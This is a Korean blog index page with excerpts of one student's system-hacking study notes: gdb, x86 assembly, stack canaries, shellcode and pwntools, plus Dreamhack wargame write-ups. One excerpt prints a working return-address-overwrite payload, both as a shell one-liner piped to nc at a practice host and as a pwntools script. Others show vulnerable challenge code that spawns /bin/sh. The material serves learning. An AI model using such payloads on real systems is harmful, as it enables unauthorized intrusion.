티스토리

songining

검색하기

블로그 홈

songining

ksl2950.tistory.com/m

개발 블로그

구독자: 4

방명록 방문하기

주요 글 목록

<해킹: 공격의 예술> 5회차 스터디 힙이란 ? 요청에 따라 할당되며 chunk 형태로 나뉠 수 있는 인접한 메모리 영역 힙에 메모리를 할당할 때는 malloc() 함수를 사용해야 함 malloc 함수에는 크기를 정하는 인자가 필요하고, 그 크기만큼 공간을 힙 세그먼트에 할당한다. (Top Chunk를 사용해 메모리 할당) 그리고 보이드 포인터로 할당한 메모리의 시작주소를 리턴한다. malloc함수가 어떤 이유로 메모리 할당을 하지 못하게 되면 0값을 리턴한다. malloc에 대응하는 해제 함수는 free()이다. free 함수에는 포인터 인자가 필요하고, 나중에 다시 그 공간을 사용하려면 인자 포인터의 메모리 할당을 해제한다. char *char_ptr; // 힙 메모리 할당 (mem_size 바이트 만큼 할당) char_ptr = (ch.. 공감수 0 댓글수 0 2022. 5. 4.
<해킹: 공격의 예술> 4회차 스터디 책을 보고 공부한 내용입니다 X86 프로세서를 기준으로 합니다. 구조체(structs) -> 여러개의 변수를 그룹으로 묶어 하나처럼 다루는 것이 가능하게 하기 위해 구조체라는 것을 사용 -> 구조체가 정의된 후에는 사용할 수 있는 변수 타입이 되고, 구조체 타입으로 변수나 포인터 선언이 가능해짐 struct 구조체이름 *포인터이름 = malloc(sizeof(struct 구조체이름));다음과 같은 구조로 구조체 포인터 선언 가능 시간 함수를 다룰 때 /usr/include/time.h에 정의되어 있는 tm 구조체를 사용하는 것도 가능하다. tm 구조체의 정의 struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_y.. 공감수 0 댓글수 0 2022. 5. 3.
<해킹: 공격의 예술> 3회차 스터디 책을 보고 공부한 내용입니다 X86 프로세서를 기준으로 합니다. C언어에서 파일에 접근하는 방법으로는 크게 2가지가 있다. 1. 파일 서술자 (File Descriptor) 2. 파일 스트림 (Filestream) - 파일 스트림 함수를 사용하는 것이 프로그래밍 하기는 편하지만 파일 서술자가 좀 더 직접적임 ( 파일서술자는 로우레벨, 파일 스트림은 하이레벨 입출력임) 파일 서술자 - open() : 함수를 읽거나 쓸 수 있게 파일을 열고 파일 서술자를 리턴한다. 파일 서술자는 단순한 정수 값이지만 열린 파일마다 고유하다. 파일 서술자는 열린 파일을 가리키는 포인터와 같은 인자로 다른 함수에게 넘겨진다. - close() : 파일 서술자를 인자로 사용 - read() : 파일 서술자, 읽거나 쓸 데이터를 .. 공감수 0 댓글수 0 2022. 5. 1.
<해킹: 공격의 예술> 2회차 스터디 책을 보고 공부한 내용입니다 X86 프로세서를 기준으로 합니다. 메모리 세그먼트 컴파일된 프로그램 메모리는 코드, 데이터, bss, 힙, 스택의 5개의 세그먼트로 나뉜다. 코드 프로그램의 기계어 명령이 들어있음 프로그램이 실행되면 EIP는 코드 세그먼트의 맨 처음 위치로 설정된다. 그리고 프로세스는 다음 작업을 반복 실행한다. 1. EIP가 가리키고 있는 명령을 읽는다. 2. 그 명령의 길이를 EIP에 더한다. 3. 1단계에서 읽은 명령을 수행한다. 4. 1단계로 돌아간다. - 코드 세그먼트는 변수가 아닌 코드만을 저장하고 있으므로 쓰기가 금지되어있다. (사용자가 프로그램 코드를 변경하지 못하게 막기 위함) 코드 세그먼트에 쓰려는 시도가 있을 경우 운영체제가 그 사실을 사용자에게 알리고 프로그램은 종료됨.. 공감수 0 댓글수 0 2022. 4. 28.
<해킹: 공격의 예술> 1회차 스터디 책을 보고 공부한 내용입니다 X86 프로세서를 기준으로 합니다. GDB 조사 명령 형식 o : 8진법 x : 16진법 u : 부호가 없는 표준 10진법 t : 2진법 메모리 단일 유닛의 기본 크기는 '워드' 라 불리는 4 byte (32bit 환경에서) b 단일 바이트 h 2byte의 하프워드 w 4byte의 워드 g 8byte의 자이언트 eip 레지스터 : 프로세서가 읽고 있는 현재 명령의 위치를 가리키는 명령 포인터 레지스터 i r eip : eip 레지스터의 현재 메모리 주소 x/x $eip : 16진법으로 eip가 갖고 있는 값 출력 ($eip는 그 순간 eip가 갖고 있는 값을 의미한다.) x/xw $eip : 16진법으로 4byte만큼 출력 ( 리틀엔디안 x ) x/i $eip : eip 위치.. 공감수 0 댓글수 0 2022. 4. 25.
[dreamhack] Return to Library Return Address Overwrite: 반환 주소를 악성 함수의 주소로 덮어서 셸 획득 Stack Canary: 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반환 주소를 덮기 어렵게 함 Return to Shellcode: 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득 ASLR: 임의 버퍼의 주소를 알기 어렵게 함 NX: 각 세그먼트에 불필요한 실행권한을 제거함으로써 공격자가 임의 버퍼에 주입한 코드를 실행하기 어렵게함 Return to Library -> NX를 우회하는 공격기법 NX로 인해 코드 영역 외에는 실행권한이 없어지기 때문에 실행권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안했다. 프로세스에 실행 권한이 있는 메모리 영역은.. 공감수 1 댓글수 0 2022. 4. 10.
[dreamhack] ssp_001 문제풀이 환경 세팅 Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(un.. 공감수 0 댓글수 0 2022. 4. 4.
카나리 우회기법 checksec ./파일실행명 # 해당 파일에 적용된 보호기법들을 보여준다. pwntools 설치하면 실행 가능 카나리가 적용되어 있는 것을 확인 #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); //byte printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts(".. 공감수 0 댓글수 0 2022. 4. 2.
스택 카나리 (Stack canary) 오늘은 스택 카나리에 대해 공부를 할 것이다! 스택카나리란? - 스택 버퍼 오버플로우로부터 반환 주소를 보호하는 보호기법 - 스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다. 카나리 값의 변조가 확인되면 프로세스는 강제로 종료된다!@! fs? -> TLS(Thread Local Storage)에 카나리를 비롯하여 프로세스 실행에 필요한 여러 데이터가 저장된다고만 일단 알고 있자 Ex) 예를 들어 buf[8]을 read하는 함수에 대해 스택버퍼오버플로우 공격을 진행할 경우 rbp-8 에 저장된 카나리와 fs:0x28 에 저장된 카나리를 xor해서 연산 결과가 0이면 je 성공으로 정상 반환! 결과가 다른 경.. 공감수 0 댓글수 0 2022. 4. 2.
[dreamhack] basic_exploitation_001 문제풀이 피곤한데 열심히 놀았으니까 양심상 일단 한문제 풀고자려구,,, Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 환경은 다음과 같다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() .. 공감수 1 댓글수 0 2022. 4. 2.
[dreamhack] basic_exploitation_000 문제풀이 pwnable 초보인 나에게는 어려운 문제였다.. 원격 서버 환경은 이러하다 Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments 우선 32bit 환경이기 때문에 스택프레임구조는 buf(n) | sfp(4) | ret(4) 요러하다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL.. 공감수 1 댓글수 0 2022. 4. 1.
[dreamhack] Return Address Overwrite 풀이 Host: host1.dreamhack.games Port: 10469/tcp 1. python 공격 코드 이용 (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools 이용 from pwn import * p = remote('host1.dreamhack.games',10469) # 원격 서버 대상으로 익스플로잇 수행 context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_.. 공감수 2 댓글수 0 2022. 3. 31.
스택 버퍼 오버플로우 ( Stack buffer Overflow ) 스택 오버플로우 VS 스택 버퍼 오버플로우 스택 오버플로우 : 스택영역이 너무 많이 확장돼서 발생하는 버그 스택 버퍼 오버플로우 : 스택에 위치한 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그 (스택의 버퍼에서 발생하는 오버플로우) 버퍼(buffer)란? 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소 스택 버퍼 : 스택에 있는 지역변수 힙 버퍼 : 힙에 할당된 메모리 영역 Ex1) 데이터 변조 - 버퍼 오버플로우로 인해 뒤의 데이터 값을 변조시킬 수 있다. Ex2) 데이터 유출 c언어에서 문자열의 끝을 null로 인식하는데 버퍼 오버플로우를 통해 null을 없애주면 뒤의 데이터까지 함께 읽는 것이 가능해진다. Ex3) 실행흐름조작 예를 들면 함수의 ret에 자신이 실행하고 싶은 명령.. 공감수 0 댓글수 0 2022. 3. 31.
Shellcode 란? 셸코드란? -> 익스플로잇을 위해 제작된 어셈블리 코드 조각 일반적으로 셸을 획득하는 것이 목적! 어셈블리어로 이루어져있음 Ex) 해커가 rip를 자신이 작성한 셸코드로 옮기면 해커가 원하는 어셈블리 코드를 실행할 수 있음 orw 셸코드 작성 - 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드! /** * /tmp/flag를 읽는 셸코드 */ char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); // 파일 읽고 buf에 저장 write(1, buf, 0x30); // buf 에 있는 값 write 위는 우리가 만들 셸 코드의 c언어 의사코드 1. int fd = open(“/tmp/flag”, O_RDONLY, NUL.. 공감수 0 댓글수 0 2022. 3. 30.
pwntools 사용법 1. process & remote - process : 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수 (테스트 & 디버깅 용) - remote : 원격 서버를 대상으로 할 때 사용 (서버를 실제 공격하기 위함) from pwn import * p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행 p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행 2. send - send : 데이터를 프로세스에 전송하기위해 사용 from pwn import * p = process('./test') p.send('A') # ./test에 'A'를 입력 p.sendli.. 공감수 0 댓글수 0 2022. 3. 28.
gdb 사용법 익히기 gdb는 리눅스의 대표적인 디버거중 하나! ELF - 리눅스 실행 파일 형식 - 크게 헤더와 여러 형식으로 이루어짐 --> ELF 의 헤더에 진입점(EP) 필드 존재 (OS는 ELF를 실행할 때 EP부터 프로그램 실행) //해당 명령어를 통해 진입점 확인 가능 //entry point address readelf -h debugee(파일명) entry point address : 0x1060 gdb에서 start 명령어를 입력하면 진입점 주소를 rip가 가리키고 있는 것을 볼 수 있다. gdb (gdb) start 1. registers : 레지스터의 상태를 보여줌 2. disasm : rip부터 여러줄에 걸쳐 디스어셈블(기계어 -> 어셈블리)된 결과를 보여줌 3. stack : rsp부터 여러줄에 걸쳐.. 공감수 0 댓글수 0 2022. 3. 28.
X86 어셈블리 정리 dreamhack을 통해 공부한 내용을 정리한 포스트입니다. 피연산자 종류 - 상수 - 레지스터 - 메모리 (BYTE(1), WORD(2), DWORD(4), QWORD(8)) 데이터의 이동 - MOV a, b => b에 있는 값을 a에 대입 - LEA a,b => b의 주소값을 a에 대입 EX) mov eax, dword ptr ss:[ebp-4] 의 경우에는 [ebp-4]가 하나의 주소로 해당 주소의 값을 eax에 대입한다. lea eax, dword ptr ss:[ebp-4] 의 경우에는 mov eax, ebp 후에 sub eax,4 를 하는 것과 같다. +) [ ] 기호는 주소의 참조값을 의미하며 [ ] 안에서 주소의 사칙 연산이 이루어진다. 산술연산 - add a,b => a= a+b - sub.. 공감수 0 댓글수 0 2022. 3. 27.
[시스템]함수 프롤로그, 에필로그 프롤로그(시작 부분) 1. main()에서 함수를 호출하면 복귀주소, 즉 RET를 스택에 저장한다. 2. 이전 함수의 스택의 시작점(ebp)를 스택에 저장한다. 통상적으로 SFP 라고 많이 불린다. 이는 함수가 끝나고 다시 돌아갈 떄 스택을 온전히 복구하기 위함이다. 3. ebp를 esp가 있는 위치로 이동시킨다. 4. 지역변수 할당 등 스택의 기능 수행 에필로그 1. esp를 ebp위치로 보낸다. (지역변수 삭제/pop) 2. pop ebp => 스택의 꼭대기 값을 ebp에 집어넣는다. => 이전 함수의 ebp 3. pop eip => 프로그램의 흐름을 RET로 넘긴다. (eip는 다음 실행할 명령어를 담는 레지스터) 참고: ARGOS 시스템해킹 교육자료 공감수 1 댓글수 0 2020. 8. 2.
[시스템]어셈블리어 기초, 명령어 정리 rax rbx rcx rdx rsi rdi rbp r8 r9 r10 r11 r12 r13 r14 r15 rsp rip 범용 레지스터 용도가 특별하게 정해지지 않은 레지스터로, 변수와 같은 역할을 한다. 용도가 정해져 있지 않지만 때에 따라 그 쓰임새가 정해져 있는 경우도 존재 (rax는 함수 리턴값 rsi는 함수 파라메터) 함수 호출 규약 함수가 실행될 때 필요한 인자들을 저장하는 레지스터도 존재한다. (rdi rsi rcx rdx ...) 스택포인터 스택의 가장 위쪽을 가리킨다. 스택은 함수가 사용할 지역 변수들을 저장하기 위해 준비해놓은 공간이다. (rsp) 프로그램 카운터 rip는 프로그램카운터의 역할을 한다. 프로그램 카운터는 다음에 실행될 명령어가 위치한 주소를 가리킨다. mov a, b b를 .. 공감수 0 댓글수 0 2020. 8. 2.
[시스템]Buffer Overflow 이번엔 동아리 교육에서 버퍼오버플로우에 대해 배웠다. 기본 메모리 구조 주어진 영역을 넘어 값을 더 넣을 수 있게 되는 취약점 Ex) gets함수는 입력값을 계속해서 받을 수 있고 각각의 변수들은 연속된 메모리에 저장되어있기 때문에 bof에 대한 입력을 크기 4이상으로 입력했을때 target의 값으로 침범하게 된다. 이것이 바로 버퍼오버플로우이다. (변수들은 연속된 메모리 공간에 할당되는데 이 순서는 바이트 크기순인가??) 참고: ARGOS 시스템해킹 교육자료 공감수 0 댓글수 0 2020. 8. 2.
[시스템] 어셈블리어, GDB 어셈블리어 기계어와 일대일 대응되는 언어. 실행파일만 있어도 어셈블리 코드를 볼 수 있다. 이진수로 된 기계어를 "디컴파일러" 를 이용하여 어셈블리어로 된 코드를 얻어내고, 이를 분석한다. 디버거 GDB(GNU Debugger) C, C++ 등으로 만들어진 실행 파일을 디버깅하는 도구 1. 시작/종료 시작: gdb [프로그램명] 종료: quit or q 2. 문법 변경 set disassembly-flavor intel 3. 분석 해당 함수 코드: disas [함수이름] 실행 : run or r 브레이크 포인트 : b [지점] 브레이크 포인트 걸린 위치 코드 : disas 브레이크 포인트 다 지우기: d or dis 다음 명령어 : ni 진행 : c 강제 점프 : jump [위치] -> 함수, 행, 메모.. 공감수 0 댓글수 0 2020. 8. 2.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.